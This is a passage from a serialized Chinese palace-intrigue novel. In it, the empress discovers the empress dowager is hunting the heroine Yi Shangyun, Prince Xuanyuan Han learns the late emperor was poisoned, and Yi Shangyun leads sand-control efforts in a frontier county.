“昊儿相信秦皇叔他一定可以,他一定能找到那片十里荷塘。”轩辕昊坚信极了。 一时间里,皇后的内心甚是五味杂陈,陷入了自己沉沉的思绪之中。 她回忆起小时候,父母因追随先皇四处征战,在一场与敌军的对抗中,先皇不慎遭调虎离山之计陷入困境。 她的父母为了护住先皇,最后选择与敌军同归于尽。 自此,孤苦无依的自己便被先皇带回到宫里放在身边亲自养育。 因为聪明乖巧,又温顺善良,先皇对她甚是疼爱有加。 她便经常伴在先皇身边,承欢膝下。 长大后,自然而然便被指婚给未来天子的继承人。 可她显然怎么都没有想到,如今的天子,竟是太后狸猫换太子的假天子。 被先皇视为掌上明珠般疼爱过的自己,又怎忍心让先皇蒙受此屈辱,让先皇真正的血脉流落在外,明珠暗沉。 可她一个妇道人家,又拿什么与这坚固的朝廷对抗? 于是矛盾的心理苦苦挣扎,思虑再三后,她决定在背后悄悄地帮助轩辕翰,彻底扳倒璟帝。 以慰先皇在天之灵,也算不枉先皇对自己的一番厚爱,以及哪怕是自己下一世结草衔环,亦回报不了的养育之恩。 一念至此,她直觉心头恨得牙直痒痒。 而轩辕昊立着立着,忽然开口问:“母后,如果有一天,秦皇叔真的替代了父皇的位置,那母后与昊儿又会如何?” 皇后醒过神来,幽幽道:“秦皇叔仁慈,他定会善待我们母子的。” 轩辕昊被皇后告知此事实真相后,亦是满腹的愁肠百转。 就在这时,太后派人过来东华宫里传话:“皇后娘娘,太后娘娘请您过去永安宫一趟。” 皇后问:“可知太后找本宫有何事?” 婢女回道:“奴婢不知,想必皇后娘娘去了便就知晓了。” 这婢女,是太后面前对其最忠诚的,尽管这婢女什么都不说,也正是因此,皇后心里隐隐觉得,定是自己发现了太后秘密的事情,太后已经知晓了。 随即,皇后母子俩互相对视了一眼,轩辕昊眼里瞬间对其满是担心。 皇后微微一笑,朝其轻轻点了点头,示意他不必替自己忧心。 于是,便迈开沉稳的脚步来,跟随婢女一同走出了东华宫的门。 一进到永安宫里。 见太后正在处之泰然地品一盏茶汤,皇后便朝其恭敬地屈膝行礼问候:“儿臣给母后请安,不知母后特地命人叫儿臣过来所谓何事?” 就在刚刚,宫里的画师将之前根据寿伯提供的信息绘出的疑似守护者后人的画像呈到了太后的面前。 太后自个儿瞧了半晌,心里也是琢磨不出来一丝线索,虽然此事事关重大,可她还是决定让聪明的皇后过来帮她确认一二。 只见太后气定神闲地放下手中的茶盏,说:“哀家命人叫皇后过来,是想让皇后帮哀家看一幅画。” 就在其说话间,方才过去请皇后的婢女便已从一边书案上拿来一卷画轴将其展开。 太后说道:“许是哀家这两年真的老了,皇后快帮哀家仔细看看,这画中的女子,哀家怎么总感觉好像在哪里见过一样?却又怎么都想不起来了!皇后你可曾在哪里见过?” 皇后遂将目光一落在那画上,便吃惊地睁大了眼睛,一眼便认出了画中的人正是衣上云。 可太后忽然拿着她的画像做什么呢? 只想了一瞬,皇后便顿时惊呆了:“莫非太后已经知道了,衣上云便正是守护者后人的事情。” 隐忍着心里极度的恐惧,皇后努力使自己平静下来,试探着问:“不知这画像上的是……这女子长相如此清新脱俗,气质高雅,仿佛天仙一般,儿臣以为,怕是只有画中才会有吧。” 太后显然对皇后的反应有些惊诧,问:“难道皇后你不觉得这女子有几分眼熟吗?” 皇后摇了摇头:“这女子怕是世间难有的。” 太后随即口中低语,呢喃自问:“莫非是哀家眼花,真的记错了?” 这时,皇后再次追问:“不知母后是从何得来的这女子画像,又拿来做什么用的呢?” 闻声,太后顿回过神来,佯装着说:“喔,这是哀家一个远房亲戚家的孩子,说是前两年不甚给弄丢了,哀家见那亲戚如今失去了唯独的一个孩子,也是可怜,便想帮她找一找,能找回来的话,自是最好不过了。” 皇后随即赞叹道:“天下竟还真有长得如此标致的姑娘,如此的话,那儿臣便让人去好好找一找。” 说着,便要求:“不知这画像,儿臣可否拿去让宫里的画师多复几张,也好散播下去找寻。” 此话一出,太后急忙回绝说:“喔,那倒不必了,不必了,哀家自己命人去找便是,许是竹篮打水一场空,真的丢了找不回了呢!宫中琐事亦是甚多,皇后就不必操心哀家的了。” 见她对此画像隐藏的如此小心翼翼,皇后此时更加确定了自己心中的想法,于是佯装谢恩:“儿臣多谢母后体谅。” 这时,太后复又饮下了一盏茶,忽又开口问道:“对了,那秦王妃上次进宫来觐见,听说在御药房不慎被人给刺了,如今过去已有月余,身子可都已经好了?” 皇后闻声顿时心里一惊,忙道:“都已经大好了,只是刚才听秦王说,王妃身上还是有些许不爽快,等再过段时日,秦王再亲自带来向母后请安。” “嗯” 太后应着,随即便吩咐说:“好啦,这天气是越来越热了,哀家这会儿也觉得身上有些乏了,皇后下去忙你的事吧。” “如此,那儿臣便告退了。” 皇后说着,便转身欲要退下。 就在其即将抬腿迈过门槛时,身后忽然再次传来太后的声音:“本本分分地坐好你皇后的位置,莫问不相干的闲事,否则会招来杀身之祸的。” 其实,太后身边的亲信婢女,早已向她通报了寿伯进宫那日,皇后曾悄悄进入过殿内的事情。 只不过,皇后的身份特殊,父母皆因护卫先皇而死,这便使得即是太后也不能轻易将她怎样? 太后暂时显然还奈何不了她,只能先留着,然倘若她有一日,真的危及到太后的盘算,太后自是不再容她。 闻此,皇后亦只能默默地咬牙隐忍道:“儿臣谨遵母后教诲。” 皇后离开后,太后紧忙吩咐婢女:“仔细将这画像收好了,千万不能落入别人的手里。” 婢女信誓旦旦地道:“是,太后娘娘放心。” 心底下遂一想,又问:“那做这画的画师……又该如何处置?” 太后眼中顿显一股杀气。 婢女霎时明白了她的心意,只道:“奴婢明白了,奴婢这就去找人处置了他。” 太后叮嘱说:“此事万不可被皇帝知晓。” “奴婢明白”婢女答应着,便移步进去内殿里藏画。 而太后心里却依旧纳闷,口中喃喃自语道:“怎么这女子,哀家就是见着眼熟地很,到底几时在何处见过……” 看到皇后踉踉跄跄,神情恍惚地走出永安宫的门,婢女紧忙上前去将她搀扶住,关切地问:“皇后娘娘这是怎么了?怎的脸色如此难看?” 皇后此时已然被吓的连脚都抬不起来了,一把紧紧抓住婢女的胳膊,沉声吩咐其说:“走,快扶本宫离开这儿……” 直到远远地离开了永安宫,皇后方才微微回过了些许魂魄来,问身边的婢女:“这些年,你可曾听说过,太后有什么选房亲戚?” 第六百章:山中别有洞天 “这些年,你可曾听说过,太后有什么选房亲戚?” 婢女仔细回忆着,想了想,答曰:“奴婢从未听说过太后有什么宫外的亲戚啊……” 皇后心里顿觉越来越害怕,遂发出一阵喃喃低语着:“那便十有八九了!当日寿公公离开时,太后曾让他将记忆里的守护者样貌说与宫中画师画下,想必那副画像里的女子,定是其所寻来的守护者后人无疑。这些年,太后不仅让寿公公出宫帮他寻找守护他的儿子,还处心积虑地找出了遗失的守护者后人。” 顺着思路想下去,不禁霎时汗毛竖起:“所以,那寿公公主仆亦已知晓了守护者模样。只是,或许他们尚还不知守护者后人便是如今的秦王妃。否则,秦王府如今早就成了众矢之的了!” 想一想,不禁有些庆幸:“没想到,那日秦王妃进宫觐见太后,在御药房里被这兵部侍郎之女这一刺,反而是救了那丫头。” 婢女似是并未听清皇后所发出的这阵喃喃之声:“娘娘在说什么?” 皇后只依旧自顾自地说:“务必不能让王妃再外出见人!尤其不能将她再带到宫里来。可这终究也不是长久之计,日子且长,她们总归会见面的,这到底该如何是好?” 一时间,皇后心里担心着急极了:“不行,此事必须马上通知秦王,以便提前做好应对。” “轰隆隆……” 轩辕翰出宫没多久,伴随着一声声巨响,天空忽然下起了滂沱大雨来。 然王令一出,数十名王府暗卫风雨无阻,火速齐集于城西,立刻开始分工进行地毯式搜寻。 马不停蹄地终于在天黑之前,在一处十分隐蔽的山脚下找到了这片宁静的十里荷塘。 雨过荷塘,白鹭惊飞。 此时,一层薄雾笼罩起整个山野,湖面上雾气缭绕,荷塘如在仙境中一般。 空气中,夹杂着一阵阵荷花所散发出的清香扑面而来,沁人心脾。 初夏,接天蔽日无穷尽,碧翠欲滴的荷叶就像翡翠制成的伞一样撑满了十里湖面。 粉色、白色、橙色的荷花,宛若亭亭玉立的仙子,即使风雨再大,依然倔强地傲立其中,展现出其顽强的生命。 然所有人,却根本无暇顾及欣赏眼前这难得的旷世美景片刻。 程良亲自率领众将已经搜遍了山脚下方圆数十里的每一座大大小小的院落,皆是一无所获。 不得已,终是有些丧气的过来朝其主子禀报:“殿下……” 而此时,正骑马停留在荷塘边上,端详着面前这座苍翠欲滴的巍巍大山的轩辕翰闻声沉声道:“如何?” 程良无奈,又气愤地摇了摇头,禀报说:“属下命人一再地扩大搜索范围,附近能找的地方都已经找遍了,然并未发现什么可疑的人。” 这结果,似乎早已在轩辕翰的预料之中,其心里毫无波澜起伏,依旧只目光定定地打量着眼前的这座大山。 程良心里不禁有些怀疑:“会不会是,消息有误?” 轩辕翰坚定地说:“不会,此消息定是皇后特意安排太子传给本王的,皇后从小在父皇身边长大,深受父皇疼爱与教诲,向来深明大义,她不会给本王假的消息。” 程良想了想,直觉纳闷极了:“那这座别院,到底究竟在哪儿呢?” 这时,轩辕翰似是最后终于下定了决心,当即下令道:“进山!” “什么?进山?!”程良顿时瞪大了眼睛朝其惊呼道。 霎时间,他对主子的这个决定吃惊极了:“这刚下过一场大雨,想来此刻山中道路定是崎岖不平且泥泞不堪。况且,这眼看着马上就要天黑了……” 可欲要阻拦其的话刚一开口,却见主子一人已只身前去了,不得已,自己亦只能扬手带领着众人一同进山。 然令所有人意想不到的,此山中竟然别有洞天。 进山没多久,只见眼前忽然现出一道登山天梯来。 那石砌的一层层台阶,远远朝上望去,薄雾笼罩下,依稀仿佛可以一直到达山顶一般。 “全体散开绕山防守,只要见有人从山上下来,便立即对其进行缉拿。” 这时,程良命所有人沿着山体散开围成一圈守着,仅自己与轩辕翰俩人朝山上而去。 顺着石阶,主仆俩一层层往上走,可以看到身旁一望无际的山脉。 水从高处倾泻,击打在凸起的崖壁上,水花瞬间激越,水雾升腾,世间一切仿佛静止下来,只有水在跳动和欢呼。 沿途美景伴随着处处鸟语花香、彩蝶翩翩、泉水叮咚、竟是如此一个充满仙境气息的地方。 就在主仆俩行至半山腰的时候,出现了一条石板铺成的小路,一直向东边延伸去。 俩人互相对视了一眼,便就坚定不移地跟了过去。 此时夜幕降临。 面前出现了一座揽月桥,横亘在山中峡谷两侧,倒影投在碧绿的溪水中。 周围灯火阑珊下,弯弯的桥和弯弯的倒影幻化成水中一轮轮圆月,形成如此唯美的景致。 过了桥,果然,只身山外,很难让人相信在这片山脉之中,竟然真的隐藏着一座伫立在崖壁上的青砖褐瓦,精致的山涧别院。 在树木的掩映下,与山色融为一体,一切都显得那么自然雅致。 主仆俩不禁瞬间被其惊呆了。 经过一番勘察,确定别院里里外外,都有人把守着。 主仆俩便寻了一处相对比较隐匿的地方,轻轻一个飞身跃起,便神不知鬼不觉地进入到院子里。 然搜寻遍院子里的角角落落,前前后后每一间屋子,始终都没有看到自己要找的人。 程良再次泄了气,问身旁的轩辕翰道:“殿下,他们根本就不在这里,我们现在该怎么办?” 就在这时,一名小丫头独自经过。 身处黑暗之中的轩辕翰看见,伸手一把将其拽了过来,捂住其嘴巴,牵制住她的双臂,问:“近日,别院里可曾来过两个陌生人?” 小丫头吓得一时连连猛点头,又慌慌张张地摇头。 轩辕翰叮嘱道:“你放心,我们不会伤害你的。只要你告诉我们,那两个人现在何处?” 见那小丫头似是听了他的话,渐渐安静了下来,也慢慢地放弃了挣扎。 轩辕翰也缓缓松开了捂着小丫头嘴的手。 小丫头这才抚了抚胸口,喘了口气,说道:“这些日子,别院里的确来了两个陌生人,说是太后娘娘安排过来的,有太后娘娘的腰牌。可是,今天他们一早下山说是要上街去喝早茶,可后来就只回来了一个人。” 程良疑惑地问:“为何只回来了一个人?” 小丫头摇摇头,说:“只有寿伯一人回来了,他回来只说龙公子去了远方替太后娘娘办差,或许以后他与龙公子都不会再回来这里了,于是便也收拾行李急匆匆地离开了。” “都离开了?”程良一听,没想到众兄弟费了半天功夫,竟然又一次落空,于是瞬间惊诧地再次朝其确认。 “嗯,确实都已经离开了。”小丫头肯定极了地回答。 这时,轩辕翰开口问:“这是什么时候的事?” 小丫头想了想,说:“大约午时未到,寿伯便就已经离开了,是我亲眼看着他出门下山去的。那时我还劝他吃过饭再走,他只说事情紧急,不便在此久留,便就执意离开了。” 无奈,确定自己的确晚来了一步,寿伯主仆已然都已离开,不在此处了,轩辕翰只能先离开。 程良亦急忙上前去跟上。 怎料漆黑的夜里,小丫头竟忽然在俩人身后唤了一声:“请问您是不是秦王殿下?” 闻此,轩辕翰猛的回过头去,自己脸上明明遮了厚厚的面巾,这小丫头是如何认出自己的。 小丫头见自己的猜测显然是对了,于是缓步上前去立在其面前说:“奴婢参见秦王殿下!” 轩辕翰疑惑地道:“你是……” 小丫头道:“奴婢是皇后娘娘宫里的婢女,娘娘让奴婢潜伏在此多年,说有一日秦王殿下若来此处问话,让奴婢定要对殿下知无不言,言无不尽。” 轩辕翰吃惊地看着小丫头的眼睛,说:“这一切都是皇嫂早就安排好的?” 小丫头点了点头,就自己这些年来所收集到的关于太后的事情俱都一一向轩辕翰禀报了起来…… 听了小丫头的一番陈述,轩辕翰顿时瞪大了眼睛,愤怒极了:“你说的这一切,可都是真的?父皇……父皇他真的是被太后亲手下药所致死的?” 小丫头点了点头,说:“奴婢所言千真万确,那是太后娘娘前两年来别院里避暑时,有一日醉酒,奴婢亲耳听她说的。” 轩辕翰被惊地顿脚下打了一个踉跄,似是都快有些站立不住。 身边的程良与小丫头一见,俩人一起紧忙过去伸手将其扶住。 轩辕翰难以置信地喃喃说道:“怎么会这样,为什么会这样?那时父皇都已经不顾念母妃的感受,封她为后了,那个位置都已经是她的了,她为何还要下这样的毒手?” 第六百零一章:震怒 “怎么会这样,为什么会这样?那时父皇都已经不顾念母妃的感受,封她为后了,那个位置都已经是她的了,她为何还要下这样的毒手?” 小丫头想了想,缓缓说道:“这些年,奴婢心里亦是不甚明白,太后已经贵为太后。在这宫里,再没有任何人能威胁到他们母子的地位,却为何还要铤而走险下了这样一步棋?” 说着,她再次警惕地朝四周望了望。 确定并无旁人,方才压低声音说道:直到前段时日,寿伯与那位龙姓公子来到别院。有一深夜,奴婢守夜换班时刚好经过,竟听到二人在屋内谈话,那寿伯言及当今宫里的皇上,他……他……” 小丫头似是至今都不敢相信被自己意外发现的惊天秘密,隧吞吞吐吐起来。 最后,终于鼓起勇气再次说了出来:“当今皇上……并不是太后所生。” “你说什么?” 此话一出,程良瞬间发出一阵惊声道。 闻声,轩辕翰即刻怒瞪向程良,程良意识到自己的错误,立马紧紧闭起了嘴。 小丫头隧点了点头,接着说:“那寿伯还说,这世上,只有龙公子才是太后唯一的骨血。可若是此事一旦败露,先皇定会让她万劫不复。太后怕夜长梦多,所以便先下手为强……” 小丫头此刻显然已是连说都不敢继续往下说了去。 轩辕翰亦是得知此事实真相,一时之间怒发冲冠,却又极力隐忍着暗暗地握紧了拳头,满心愤怒。 就在这时。 不远处,忽然有另一与小丫头穿着相同,只从脸上看起来比其能小几岁的女子。 一边朝着三人所在的方向过来,一边口中呼唤着:“珍儿,珍儿……” 小丫头闻声,顿惊回过神来。 急急回头朝其看了一眼,便与轩辕翰匆匆道别:“秦王殿下,有人在叫我,我得赶紧回去了,以免被人发现。” 轩辕翰隐忍着心中怒火,微微点了点头。 “我在这儿呢!” 小丫头于是便赶忙一边答应着,一边朝灯火通明处急奔了过去。 那女子一见珍儿露出了面,便问她:“珍儿,我都找了你好半天了!怎的今日天一黑,便就看不到你人影了,你跑哪儿去了?” 说着,女子好奇地朝着珍儿刚刚走出来的方向放眼过去看了看,问:“你在那漆黑的角落里干嘛呢?方才我好像看到有个人影在那里!” 珍儿一听,心里顿变得紧张起来,遂一边笑着,却也难以掩饰略显有些不放心地亦回头看了一眼,见轩辕翰早已离开不在那里,于是便拉起女子一边回去,一边扯谎。 “不要瞎说,哪里有什么人影!只不过是夏天来了嘛!我想到处找一找看看有没有萤火虫了。如果有的话就捉一些回去,好给你个惊喜!” 女子一听,竟也当真起了兴趣,于是顿时眼睛一亮,惊奇地问:“那到底有没有,你可寻到萤火虫了没?” 珍儿道:“没有没有,许是萤火虫都还小呢,等再过段时日,我再替你去寻!” 女子便央求着:“那下次你一定要带着我一起!” 俩个人就这样你一句,我一句,一边说,一边朝后院回去。 直到看到珍儿已然安全离开,隐在暗处的主仆俩方才再次缓缓露出面来。 “殿下……” 这时,程良忿忿不平地似是想要说些什么,却被轩辕翰伸出一手来在半空中将其挡了回去。 只冷声命令其道:“回府。” 深夜,风起云涌。 秦王府,落红满地。 轩辕翰一回到林月轩,回来的这一路上,耳畔回荡的,眼前浮现的,均是其父皇不为人知的薨世之迷,以及多年来他们母子所受太后给予的无数委屈,还有璟帝对其一直以来的压制。 震怒之下,其双目似是快要成魔了一般,被气的通红,拔剑便冲出了寝殿,鼓起平生全部力量腾起,在院中挥舞了起来。 暗夜里,只见一阵阵剑光闪烁,似是要气吞山河。 其一招一式,一丝不苟,招招致命,剑气有如猛虎。 剑气纵横,一往无前,挥洒间,如同似是要划破头顶这亘古不变的苍穹一般。 即便是在战场上,也从未见他如此凶狠过,程良在一旁默默观察了许久,他知道主子此刻心里难受至极,需要排解。 可现在轩辕翰完全似是魔症了一般的模样,只怕这样下去定会伤到自己。 担心了许久,终是情急之下忍不住亦拔剑迎了上去,想要阻拦这个主子的发泄:“殿下快住手!” 然岂料一个回合尚还不到,仅被其所发出的一股强大的剑气便败下了阵来。 重重地被击落,跌坐在地上,吐出一大口鲜血,喷洒在漆黑冰冷的地上。 顿一手撑地,一手附在自己吃痛的胸口处,似是很难再重新站立起来。 轩辕翰所发出的这股强大力量,着实让他震惊,他没想到,本就已经天下无敌了的主子,其剑术,竟然能达到如此骇人的境界。 可即便自己已被其重伤不起,程良心里仍然担心着:“不行,一定得想办法阻止殿下,这样下去,他定会伤到自己。” 可到底怎样才能阻止他…… “对了” 想来想去,他终于想到了一个人,和一件事。 隧忍着剧痛扬声叫道:“殿下,咱们的时间不多了。莫非殿下忘了今日早朝上有人说觻县下一次更大的沙暴将于最多不足三月便会再一次降临吗?如今王妃娘娘已经同灾民们快马加鞭赶往觻县,殿下您真的打算将时间全都浪费在这无谓的发泄上,而让王妃娘娘一人独自去涉险吗?” 果然,只有衣上云的安危才能唤醒他的意识。 闻声,轩辕翰怒火中烧的眼睛怔了一下,嘴里隧喃喃了一句:“云儿……” 至此,也终于渐渐收势,从半空中缓缓落了下来。 见此,程良也终于松了口气。 轩辕翰立定后,这才看到倒地在一边的程良,嘴角尚还残留着斑斑血迹,于是便上去蹲身关切道:“你怎么样?” 程良望着他,提醒道:“属下无碍,殿下,正事要紧!” “嗯”冷静下来的轩辕翰说着,便将程良扶起身来,带其进殿为其疗伤。 看到程良竟被自己伤的如此严重,怕是没个十天半个月是下不了床了,轩辕翰心里内疚不已。 在亲自对其运功进行了一番颇为悉心的疗伤之后,起身交待道:“近日你且好好在府中休息,先把身子养好!” 程良急道:“属下无碍,时间紧迫,眼下务必得尽快先找出那寿伯主仆俩的行踪才是!还有皇上那边……” 看到程良对自己的伤势显然丝毫不管不顾,轩辕翰怒斥其道:“好了,这一切,暂时无需你操心,本王自会处理。” “是”程良见自己终是拗不过这个主子,只能应道。 轩辕翰最后说了句:“好好休息。” 便转身离开了。 待回到自己的寝殿里,轩辕翰的心中渐渐再次起了波澜,直觉无比悲愤,久久不能平复。 忽然看到殿内的那把许久未曾抚过了的古琴,不禁想起自己小时候,父皇曾亲自教他抚琴的情景,那或许便就是他儿时最温馨的美好时光了。 于是便缓缓朝其踱步了过去,撩起袍角来坐下。 一盏孤灯残影下,琴声阵阵,将他郁闷极了的心情缓缓推开。 时间一晃,匆匆而过。 在西秦国的西北边境处,一片地势高亢,多为高原山地,沙漠戈壁广布,地貌复杂之地。 觻县。 当地最频繁,亦是每次都来势汹汹的沙尘爆发时,瞬间黑风骤起,天地闭合,沙尘弥漫,树木倾倒,房屋倒塌、人蓄伤亡重大。 衣上云跟随着灾民们便是到了此处,亲眼见到水深火热中的百姓痛苦不堪的生活,便痛下决心定要战胜沙尘,带领当地百姓一起与黄沙做斗争,不胜不归。 左右只不过月余的时间,这里的治沙工作便已开展的井井有条了。 如今的田间地头,处处无不是对其大加称颂和赞赏的声音。 “王妃娘娘可真是当今世上救苦救难的活菩萨呀!” “这下我们的家园终于得救了!” “想不到一个柔弱女子,短短月余,竟能想出如此之多我们从未见过,即便是闻所未闻过的治沙方法。” “谁说不是呢!” “这都是托了秦王殿下的福!” “对对对,咱们秦王殿下可真是有眼光,能娶得世间如此聪慧的女子。” 衣上云继续主张沿用最根本和经济有效的植物固沙措施。因其固沙植物同时还能为沙区人畜提供燃料和饲料,又可以恢复和改善环境。 但在治理流沙时,则采取柴草、粘土、卵石等材料来设置障碍物或铺压遮蔽,借以阻沙固沙; 固沙上,她则命人在流动的沙地上通过喷洒一些胶结物,使其在沙地表面形成有一定强度的保护壳,隔开气流对沙面的直接作用,从而提高沙面抗风蚀性能。 但当地的水资源实在太过匮乏,这成了治沙最主要的难题。 衣上云便夜以继日地研究,亲自到现场查看,最后研究出许多节水方法,比如给渠道进行防渗、自制了人们从未见过的多种喷灌微灌的工具、将大畦改小畦,长改短、宽改窄,使水流加快,有利于田间节水等。 可眼下,她却碰到了一件非常棘手的问题。 第六百零二章:原来是你! 在觻县的每一天,她都过的异常忙碌,从未有过的忙碌。 白天,她一身粗布衣裙,和百姓们不分彼此一起劳作,好及时解决方案在具体的实施过程中所碰到的各种问题。 直到晚上,夜深人静的时候,她才回到自己屋里,却是已经不知过去了多少个夜里,即便是躺下,也辗转反侧难以入睡。 因为,对于眼下的问题,自己至今都是百思不得其解。 今夜,亦是如此。 觻县地处西秦国最西部边境地区,这里夏季的白天特别的长,环境又极其恶劣,饮水资源尤为缺乏,这使得衣上云本就瘦弱的身子一天里下来,根本就吃不消。 可任凭百姓们怎么劝她,她始终都要坚持和她们一起努力。 终于结束了又一天的辛苦劳作,踏着明亮的月光,伴随着耳畔传来的阵阵欢快的虫鸣声,回来的时候,她已是浑身酸痛不堪,只能靠双手扶在腰间强撑着直到关上了房门。 转身,简陋的屋舍内一角上,支着一张村民们灾难后好不容易才寻来的算是最好的几块木板,便就是制成的一张木板床了。 衣上云一看见这张方圆百里,怕是唯一的一张床铺,脸上终于露出了一丝笑容,定住脚步,口中尤为感激地喃喃了一声:“谢谢!” 说完,隧挪步朝其吃力地走了过去,慢慢地附身趴了上去,好稍稍缓解一下自己身上的痛楚。 然只不过须臾,她便再次起身移步到窗前的案几边坐了下来。 案上,一盏昏黄的烛火随风摇曳着。 她再次一一翻遍了所有与治沙有关的记载,却仍然没有找到一丝头绪。 明明很累,可即便是再次起身过去躺下合上眼,却又怎么都睡不着,索性便又起身来。 想了想,迈步又出了门。 一抬头,竟见到天边有一颗流星闪耀天际。 她对着眼前的风景,不禁感慨地道:“如果说,人世间真的有十分的美,那七分便在这里,这里的美,当真是美的独一无二。” 独自漫步在这片贫瘠而炙热的土地上,今晚的夜空中,繁星仿佛格外的璀璨耀眼。 竟然还有银河在涌动着,仿佛这头顶的苍穹流泄着源源不断的银光一般夺目。 世间最美的夜空,不过如此。 一边走,目光望向不远处,有着数不清的悬崖山峦呈现出鲜艳的丹红色和红褐色,相互映衬各显其神。 其红色的砂砾岩经长期风化剥离和流水侵蚀,形成一座座孤立的山峰和陡峭的奇岩怪石。 一切都恍若被画仙打翻的调色盘一般,色彩斑斓,令人震撼无比。 此情此景,加之眼前这片浩瀚无边的璀璨星河,她想象着目之所及之处,有朝一日若能变为绿洲,那该是多么振奋人心的事啊! 不知不觉间,她来到了高高的山坡边的一颗古树下。 不知这是什么树,没有翠柳的柔美,亦没有白杨的挺拔,却越是贫瘠的土地,越会出现他的身影。 犹如这里的百姓们,不屈不挠与沙尘抗争的精神一般,书写着同样精彩的人生。 未生叶,花先开。 眼下,一串串如同小金钟似得花儿正高悬在枝头,似是百米开外都能嗅到它的甜蜜。 夜风袭来,阵阵花香随风远扬,仿佛它才是这片大地的主人,见证这方土地的兴衰与荣枯,沉默于沧海桑田之瞬息万变。 倔强,孤独,谦恭,从容…… 一边欣赏,一边思考着,衣上云背靠着其沧桑巨大的树干,缓缓席地而坐了下去。 抱紧自己的双膝,目光温柔地看向遥远的东方天边,嘴里喃喃细语着:“此时此刻,不知殿下在做什么呢?殿下可知,云儿好想殿下……” 就在这时,忽觉心口处一阵难受,衣上云紧忙伸出一手来抚到胸前,却仍忍不住发出一阵作呕的声音。 霎时,一侍卫从漆黑的角落里心急如焚地疾步奔到其面前忧心关切道:“王妃娘娘,您没事吧?” 衣上云被突然现身出来的男子吓了一跳,然待看清楚来人的脸,方才惊声道:“卫侍卫……怎么是你?这么晚了,你怎么还不休息,到这儿来做什么?” 意识到自己的突然出现已然惊到了主子,侍卫忙抱拳朝其致歉:“对不起,是属下惊吓到娘娘了。属下方才见娘娘深夜一人独自出了门,怕娘娘有危险,故而跟了过来。” 她哪里知道,眼前的这个侍卫,可是轩辕翰千叮咛万嘱咐,无论白天亦或夜里,都务必寸步不离守护衣上云的人。 衣上云见他也是担心自己,亦解释道:“卫侍卫多虑了,我没事的,我只是睡不着,想出来透透气而已,过会儿便就回去了。” 侍卫依然坚持着,祈求道:“那就让属下陪着娘娘吧!” 衣上云只得无奈地对其笑了笑。 侍卫忽然问:“莫非王妃娘娘真的不记得属下了吗?” 衣上云听了,再次借着月光的照耀,仔细看了看那人的脸,却是仍然没想起丝毫来:“你是……” 侍卫便提醒着说:“在骁龙会的时候,王妃娘娘曾在地牢里替属下疗伤,救了属下。” 顺着侍卫的提示,衣上云终于想了起来,隧惊讶地道:“原来是你!” 侍卫点了点头,隧心疼地说:“王妃娘娘,您这样日夜操劳,不顾及自己的身子,殿下若是知道了,一定会责罚属下的。” 衣上云嘴角微微上扬,勾出一抹浅笑道:“无碍的,我的身子我自己最清楚,眼下正是关键时刻,如若这时掉以轻心,那之前我们所有的努力就都会功亏一篑。到时候,怕是百姓们的日子便会更加难过了。” 侍卫沉默了片刻,道:“觻县这里自古以来就是如此,黄沙漫漫,根本就不是人能生存的地方。” 衣上云不明白侍卫为何会有如此语气,便转而看向他的脸,侍卫隧解释说:“属下的老家,便就是觻县的。当年觻县遭灾,秦王殿下奉旨前来赈灾,若不是遇见殿下,属下这辈子也就只能在这里自生自灭了。也正因如此,属下对这里有更多的了解,殿下才会特意派属下来保护娘娘。殿下当真对娘娘极好,属下从小便跟了王爷,从未见王爷对哪个女子这般好过。” 卫宁眺望着眼前到处一片空旷荒凉的大地,感叹又气愤地道:“这些自私自利的灾民们,竟鼓动着让娘娘到这里如同人间地狱般的地方来,真是委屈了!” 衣上云忙解释道:“卫侍卫莫要这样说,是我自己要来的,跟百姓们无关。” 侍卫再一次被衣上云的善良打动,转而一想起衣上云来到这里后,带着百姓们全力以赴的治沙防沙,心中甚是感激地道:“王妃娘娘,谢谢你!” 衣上云道:“这些本就是先皇的治沙策略,我只是带领着大家齐心照着做而已。” 侍卫不以为然地说:“不,若不是娘娘您毫不顾忌自身安危,在戈壁中帮我们寻到了柠条根系更为发达,适合生长在这盐碱地里,干旱旱不死、牛羊啃不死、刀斧砍不死、沙土埋不死、水涝淹不死的五生草,用其制成草方扎进沙里,半埋半露。如此一来,狂风便被五生草草方挡住,牢牢固住了流沙,娘娘您又教大家在草方里撒上草籽,在其障蔽下,它们便不会被风吹远。遇雨,草籽就会发芽生长。相信在不久的将来,这里一定会绿树成荫,觻县的子孙后代必不再受风沙之苦。” 这侍卫显然怎么都没想到,衣上云不过一弱女子,竟真能做到一直以来,就连男人们都做不到的成绩,心里对其着实佩服至极。 顿了顿,又道:“如今百姓们不仅对娘娘您称颂歌德,还直夸秦王殿下找了这个世上最好的女子,娘娘与殿下才是真正能庇护我西秦子民的人,娘娘这次可是帮殿下深得了民心。” 衣上云谦虚道:“我哪有那么好。卫侍卫,我若说出来,你定不会相信。” 侍卫弱弱地问:“娘娘您想说什么?” 衣上云抿了抿嘴,说:“其实,不知为何?在我的记忆里,好似这些治沙的法子,似是在哪里见到过。” 衣上云喃喃低语着。 夜里的风吹着,卫宁似乎并未听清其所言,隧疑惑地问:“娘娘您说什么?” 衣上云顿回过神来说,忙道:“喔,没什么……” 见到衣上云近日似是有什么心事,卫宁转而关切问:“娘娘最近是不是有什么烦心的事,不知在为何而忧愁烦恼?” 闻声,衣上云眉头顿皱了起来,接着叹了口气,道:“前几日,一场风沙过后,我在查看时,发现用来固定草方的粘剂粘力不够。回去便查看了以往所发生的沙暴的力量,怕是这次也经不起沙暴的袭击,我必须得找出一种粘度更高的粘剂才行。” 卫宁一听,心里也随之担忧了起来。 想了想,隧鼓励衣上云道:“娘娘冰雪聪明,相信一定会有办法的。就算是现在所做依然经不起下一次沙暴,如今您也已经做的很好了,娘娘已经尽了人事,剩下的,也只能听天由命了。” 衣上云一听,顿惊看向侍卫的脸…… 第六百零三章:相望 衣上云一听,顿惊看向侍卫的脸,不以为然道:“当然不行。觻县的情况,远远比我在来之前预想的还要糟糕。可这段日子里,我亲眼看到大家或为了先人遗志,或为了子孙后代,都是那样的全力以赴,每个人都如此努力地想要活下去,我又怎忍心让大家的辛苦到头来都是白忙一场。” 卫宁这才意识到衣上云的决心竟是如此强大,遂被深深震撼到。 于是怔了一会儿,继而朝其抱拳亦下定了决心说:“对不起王妃娘娘,方才是属下失言了。属下愿誓死追随娘娘治沙,定不让觻县的百姓再受苦。” 见此,衣上云深深皱起的眉头这才终于渐渐舒展开来。 最后坚定无比地看着侍卫的眼睛说道:“卫侍卫,相信我,我一定能做到。这样的话,以后莫要再说了!” 侍卫亦认真地回应道:“属下相信娘娘,但也请娘娘务必保重自己的身子,觻县所有百姓都依靠着娘娘您呢!” 